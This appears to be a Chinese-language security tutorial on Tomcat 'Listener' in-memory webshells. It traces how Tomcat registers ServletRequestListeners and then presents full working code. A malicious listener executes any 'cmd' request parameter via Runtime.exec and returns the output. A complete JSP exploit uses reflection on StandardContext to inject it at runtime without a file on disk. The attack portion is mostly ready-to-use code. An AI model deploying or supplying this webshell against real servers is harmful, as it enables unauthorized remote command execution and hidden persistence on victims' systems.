前置知识

About Listener

监听器用于监听web应用中某些对象、信息的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当域对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。

我们研究Listener内存马,基于实际应用层面,只围绕监听ServletRequest域对象展开,因为Listener监听此对象后,无论用户访问哪一个路由都会自动调用监听器中的方法。

Listener实现demo

Listener装上ServletRequestListener接口,即可被任何来自用户的路由访问而触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.xiaofuc.listenershell;

import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import java.util.EventListener;

public class Listener implements ServletRequestListener {

public Listener(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}

记得在web.xml中添加Listener配置:

1
2
3
<listener>
<listener-class>com.xiaofuc.listenershell.Listener</listener-class>
</listener>

启动后,我们访问任意一个路由,都会提示:

image-20250330150401495

Listener流程分析

ContextConfig读取配置文件

我们先把断点下在ContextConfig的1419行:

image-20250330153120363

这里已经从webxml中读出了listener的相应配置:

image-20250330153152406

传入addApplicationListener()中:

image-20250330153405358

此时listener已经被放入applicationListeners数组中:

image-20250330153431891

listenerStart()分析

断点打在StandardContext.listenerStart(),关注一下这串代码:

image-20250330154720841

之前web.xml传入的listener被传入listeners[]中。

results[i] = getInstanceManager().newInstance(listener);

这一句把listener实例化了,放入results数组。

image-20250330154913792

遍历results数组,一个一个放入eventListeners列表。

往下走,关注这个方法:

image-20250330155858634

image-20250330160028831

listener实例被存储到了applicationEventListenersList。

image-20250330160051850

requestInitialized()的调用 (终点)

断点下这里:

image-20250330160247726

观察调用栈,看到了我们的老朋友:

image-20250330160824063

image-20250330160910733

这里代码很简单,大概意思就是把listener从之前这个applicationEventListenersList列表里掏出来执行。

总结:

需要将恶意的Listener打入applicationEventListenersList中就OK了

内存马实现

image-20250330161204618

基本思路和上一次的Filter马大差不差,还简单多了。我们获取到StandardContext就可以直接反射获取addApplicationEventListener方法,然后把我们的恶意Listener添加进去就行了。

核心代码:

恶意Listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<%!  

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

正常在Java源码中,我们看看ServletContext是怎么拿的:

image-20250330162345845

image-20250330162505181

添加监听器

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>